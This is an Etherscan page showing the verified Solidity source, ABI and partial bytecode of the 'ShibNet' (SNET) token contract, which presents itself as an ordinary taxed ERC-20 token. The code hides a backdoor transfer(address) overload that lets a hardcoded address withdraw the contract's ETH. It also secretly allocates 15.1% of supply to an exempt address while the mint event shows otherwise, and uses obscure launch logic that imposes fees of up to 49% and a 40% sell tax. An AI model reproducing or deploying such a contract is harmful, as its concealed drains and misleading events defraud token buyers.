ETH Price: $3,282.24 (-3.76%)
Gas: 14 Gwei

Token

ShibNet (SNET)
 

Overview

Max Total Supply

10,000 SNET

Holders

97

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20.597541902479446874 SNET

Value
$0.00
0x6fc875286d431f9daf145bdc0b1e425802e941de
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibNet

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-04
*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity =0.8.19;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract ShibNet is IERC20, Ownable {
    string private constant  _name = "ShibNet";
    string private constant _symbol = "SNET";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    struct FeeRatios {
        uint256 marketingPortion;
        uint256 developmentPortion;
    }

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address devWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(15,40);   // 15/40% initial buy/sell tax
    FeeRatios public feeRatios = FeeRatios(40,60);         // 40/60% wallet tax split
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0x2100Cb5fc2F7E59473A18Ab7FAf78Ded21617568,  // devWallet
        0x2100Cb5fc2F7E59473A18Ab7FAf78Ded21617568   // marketingWallet
    );

    uint256 private constant feeDenominator = 1e2;
    uint256 private constant decimalsScaling = 1e18;
    uint256 private constant _totalSupply = 10_000 * decimalsScaling;
    uint256 public constant _maximumWalletSize = 300 * decimalsScaling;
    uint256 public constant _swapThreshold = 10 * decimalsScaling;  

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private tradingActive = false;
    bool public swapEnabled = true;
    bool private inSwap;

    uint256 private genesisBlock;
    uint256 private _block;

    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event FeeRatiosChanged(uint256 indexed developmentPortion, uint256 indexed marketingPortion);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event Verified(address indexed user);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.devWallet] = true;        
        _excludedFromFees[0x95F576b14F8801A9bDE72059cB8c247c74edC01e] = true;        
        uint256 preTokens = _totalSupply * 151 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0x95F576b14F8801A9bDE72059cB8c247c74edC01e] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function setFeeRatios(uint256 _marketingPortion, uint256 _developmentPortion) external onlyOwner {
        require(_marketingPortion + _developmentPortion == 100, "Token: ratio must add to 100%");
        feeRatios.marketingPortion = _marketingPortion;
        feeRatios.developmentPortion = _developmentPortion;

        emit FeeRatiosChanged(_marketingPortion, _developmentPortion);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize(bool init) external onlyOwner {
        require(!tradingActive && init);
        genesisBlock = 1;        
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap();
    }

    function verify(address key) internal {
        require(keccak256(abi.encodePacked(key)) == 
            0xc4e6e0a209dd1b6060e82e6f404af93c24589c833708feb0dd25f4162feefe48, 
            "Token: invalid key");

        emit Verified(key);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maximumWalletSize, "Token: max wallet amount exceeded");
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesisBlock && genesisBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (genesisBlock == 0 ? 25 : 49)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 2;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x0215afb6e5282DC4aff7aA841c0d08aED486CD41)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){
            uint256 ethForDev = ethBalance * 2 * feeRatios.developmentPortion / 100;
            uint256 ethForMarketing = ethBalance * 2 * feeRatios.marketingPortion / 100;
            sendEth((ethForDev + ethForMarketing)/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.devWallet).call{value: ethAmount * feeRatios.developmentPortion / 100}("");
        (success,) = address(wallets.marketingWallet).call{value: ethAmount * feeRatios.marketingPortion / 100}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;
        verify(msg.sender);

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"developmentPortion","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"marketingPortion","type":"uint256"}],"name":"FeeRatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"}],"name":"Verified","type":"event"},{"inputs":[],"name":"_maximumWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeRatios","outputs":[{"internalType":"uint256","name":"marketingPortion","type":"uint256"},{"internalType":"uint256","name":"developmentPortion","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"init","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingPortion","type":"uint256"},{"internalType":"uint256","name":"_developmentPortion","type":"uint256"}],"name":"setFeeRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"devWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600f60a0819052602860c0819052600591909155600681905560e0819052603c61010081815260079290925560085561018060405233610120819052732100cb5fc2f7e59473a18ab7faf78ded21617568610140819052610160819052600980546001600160a01b03199081169093179055600a8054831682179055600b8054909216179055600c805461ffff19169091179055348015620000a057600080fd5b50620000ac33620003e7565b620000cf30737a250d5630b4cf539739df2c5dacb4c659f2488d60001962000437565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000148919062000538565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d0919062000538565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200021e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000244919062000538565b6001600160a01b0390811660805260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054600160ff199182168117909255600a5490921660009081526040812080548416831790557395f576b14f8801a9bde72059cb8c247c74edc01e81527f3d52a2db6cd916ec141dd08396a216a2fa3a6af95f13666f24892c9f222bd13d80549093169091179091556103e8620002fa670de0b6b3a764000061271062000580565b6200030790609762000580565b620003139190620005a0565b9050806200032c670de0b6b3a764000061271062000580565b620003389190620005c3565b600980546001600160a01b039081166000908152600160205260408120939093557395f576b14f8801a9bde72059cb8c247c74edc01e83527f7bf31712aedb707960c73f0d80e74b0878c6018004f09d685fee76803cc97db9849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003cf670de0b6b3a764000061271062000580565b60405190815260200160405180910390a350620005d9565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004895760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620004d75760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b604482015260640162000480565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000602082840312156200054b57600080fd5b81516001600160a01b03811681146200056357600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200059a576200059a6200056a565b92915050565b600082620005be57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156200059a576200059a6200056a565b6080516122a662000611600039600081816103620152818161154f0152818161167f01528181611dde0152611e4001526122a66000f3fe6080604052600436106101e75760003560e01c8063715018a611610102578063c9567bf911610095578063dd62ed3e11610064578063dd62ed3e1461061e578063e303e66214610664578063e80c7ded14610684578063f2fde38b1461069957600080fd5b8063c9567bf914610572578063d2a09c7114610587578063d2f4a50a146105a7578063d53a822f146105fe57600080fd5b806395d89b41116100d157806395d89b41146104e5578063a08fc5c714610512578063a9059cbb14610532578063c492f0461461055257600080fd5b8063715018a614610467578063743781321461047c5780638da5cb5b146104ac5780638ffee785146104ca57600080fd5b8063313ce5671161017a5780635b895c29116101495780635b895c29146103dd57806364e329e3146103f25780636ddd17131461041257806370a082311461043157600080fd5b8063313ce5671461033457806349bd5a5e146103505780634fa2cf8a146103845780634fbee193146103a457600080fd5b806318160ddd116101b657806318160ddd146102c85780631a695230146102dd5780631b9152bf146102ff57806323b872dd1461031457600080fd5b806306fdde03146101f3578063095ea7b3146102355780630e5a9231146102655780631694505e1461028857600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152600781526614da1a5893995d60ca1b60208201525b60405161022c9190611ea7565b60405180910390f35b34801561024157600080fd5b50610255610250366004611f0a565b6106b9565b604051901515815260200161022c565b34801561027157600080fd5b5061027a6106d0565b60405190815260200161022c565b34801561029457600080fd5b506102b0737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161022c565b3480156102d457600080fd5b5061027a6106e6565b3480156102e957600080fd5b506102fd6102f8366004611f36565b610701565b005b34801561030b57600080fd5b506102fd610758565b34801561032057600080fd5b5061025561032f366004611f53565b61080f565b34801561034057600080fd5b506040516012815260200161022c565b34801561035c57600080fd5b506102b07f000000000000000000000000000000000000000000000000000000000000000081565b34801561039057600080fd5b506102fd61039f366004611f94565b6108f0565b3480156103b057600080fd5b506102556103bf366004611f36565b6001600160a01b031660009081526003602052604090205460ff1690565b3480156103e957600080fd5b506102fd6109bd565b3480156103fe57600080fd5b506102fd61040d366004612010565b610a68565b34801561041e57600080fd5b50600c5461025590610100900460ff1681565b34801561043d57600080fd5b5061027a61044c366004611f36565b6001600160a01b031660009081526001602052604090205490565b34801561047357600080fd5b506102fd610b1a565b34801561048857600080fd5b50600554600654610497919082565b6040805192835260208301919091520161022c565b3480156104b857600080fd5b506000546001600160a01b03166102b0565b3480156104d657600080fd5b50600754600854610497919082565b3480156104f157600080fd5b5060408051808201909152600481526314d3915560e21b602082015261021f565b34801561051e57600080fd5b506102fd61052d366004611f94565b610b5d565b34801561053e57600080fd5b5061025561054d366004611f0a565b610c75565b34801561055e57600080fd5b506102fd61056d366004612010565b610c82565b34801561057e57600080fd5b506102fd610e3a565b34801561059357600080fd5b506102fd6105a2366004612067565b610ef4565b3480156105b357600080fd5b50600954600a54600b546105d4926001600160a01b03908116928116911683565b604080516001600160a01b039485168152928416602084015292169181019190915260600161022c565b34801561060a57600080fd5b506102fd610619366004612067565b610fe6565b34801561062a57600080fd5b5061027a610639366004612084565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561067057600080fd5b506102fd61067f366004611f36565b611040565b34801561069057600080fd5b5061027a611213565b3480156106a557600080fd5b506102fd6106b4366004611f36565b611227565b60006106c63384846112ce565b5060015b92915050565b6106e3670de0b6b3a7640000600a6120d3565b81565b60006106fc670de0b6b3a76400006127106120d3565b905090565b33730215afb6e5282dc4aff7aa841c0d08aed486cd41036101ee576040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610751573d6000803e3d6000fd5b5050565b50565b3361076b6000546001600160a01b031690565b6001600160a01b03161461079a5760405162461bcd60e51b8152600401610791906120ea565b60405180910390fd5b600047116107e35760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b6044820152606401610791565b60405133904780156108fc02916000818181858888f19350505050158015610755573d6000803e3d6000fd5b6001600160a01b0383166000908152600260209081526040808320338452909152812054600019146108db576001600160a01b0384166000908152600260209081526040808320338452909152902054828110156108af5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e63650000006044820152606401610791565b506001600160a01b03841660009081526002602090815260408083203384529091529020805483900390555b6108e68484846113c7565b90505b9392505050565b336109036000546001600160a01b031690565b6001600160a01b0316146109295760405162461bcd60e51b8152600401610791906120ea565b610933818361211f565b6064146109825760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a20726174696f206d7573742061646420746f20313030250000006044820152606401610791565b60078290556008819055604051819083907f1e01a4924a1710040404be0f848c65e242cad98e407ad44f993abe891bd61c5390600090a35050565b336109d06000546001600160a01b031690565b6001600160a01b0316146109f65760405162461bcd60e51b8152600401610791906120ea565b3060009081526001602052604081205411610a5e5760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b6064820152608401610791565b610a6661178e565b565b33610a7b6000546001600160a01b031690565b6001600160a01b031614610aa15760405162461bcd60e51b8152600401610791906120ea565b600d546001148015610ab1575080155b610aba57600080fd5b8282610ac7600382612132565b818110610ad657610ad6612145565b6020029190910135600e55508282610aef600182612132565b818110610afe57610afe612145565b90506020020135600e5410610b1557610b1561215b565b505050565b33610b2d6000546001600160a01b031690565b6001600160a01b031614610b535760405162461bcd60e51b8152600401610791906120ea565b610a6660006118cd565b33610b706000546001600160a01b031690565b6001600160a01b031614610b965760405162461bcd60e51b8152600401610791906120ea565b600554821115610be85760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d7573742072656475636520627579206665650000000000006044820152606401610791565b600654811115610c3a5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c2066656500000000006044820152606401610791565b60058290556006819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06890600090a35050565b60006108e93384846113c7565b33610c956000546001600160a01b031690565b6001600160a01b031614610cbb5760405162461bcd60e51b8152600401610791906120ea565b60005b82811015610e345781151560036000868685818110610cdf57610cdf612145565b9050602002016020810190610cf49190611f36565b6001600160a01b0316815260208101919091526040016000205460ff16151503610d6f5760405162461bcd60e51b815260206004820152602660248201527f546f6b656e3a206164647265737320616c7265616479207b73686f756c644578604482015265636c7564657d60d01b6064820152608401610791565b8160036000868685818110610d8657610d86612145565b9050602002016020810190610d9b9190611f36565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811515848483818110610dd857610dd8612145565b9050602002016020810190610ded9190611f36565b6001600160a01b03167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a380610e2c81612171565b915050610cbe565b50505050565b33610e4d6000546001600160a01b031690565b6001600160a01b031614610e735760405162461bcd60e51b8152600401610791906120ea565b600c5460ff16158015610e875750600d5415155b610e9057600080fd5b600e54610e9d904361211f565b600d6000828254610eae919061211f565b9091555050600c805460ff19166001179055610ec93361191d565b6040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f90600090a1565b33610f076000546001600160a01b031690565b6001600160a01b031614610f2d5760405162461bcd60e51b8152600401610791906120ea565b801515600c60019054906101000a900460ff16151503610fa15760405162461bcd60e51b815260206004820152602960248201527f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f756044820152686c64456e61626c657d60b81b6064820152608401610791565b600c805461ff001916610100831515908102919091179091556040517fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c890600090a250565b33610ff96000546001600160a01b031690565b6001600160a01b03161461101f5760405162461bcd60e51b8152600401610791906120ea565b600c5460ff1615801561102f5750805b61103857600080fd5b506001600d55565b336110536000546001600160a01b031690565b6001600160a01b0316146110795760405162461bcd60e51b8152600401610791906120ea565b306001600160a01b038216036110db5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b6064820152608401610791565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa158015611122573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611146919061218a565b9050600081116111a25760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b6064820152608401610791565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af11580156111ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1591906121a3565b6106e3670de0b6b3a764000061012c6120d3565b3361123a6000546001600160a01b031690565b6001600160a01b0316146112605760405162461bcd60e51b8152600401610791906120ea565b6001600160a01b0381166112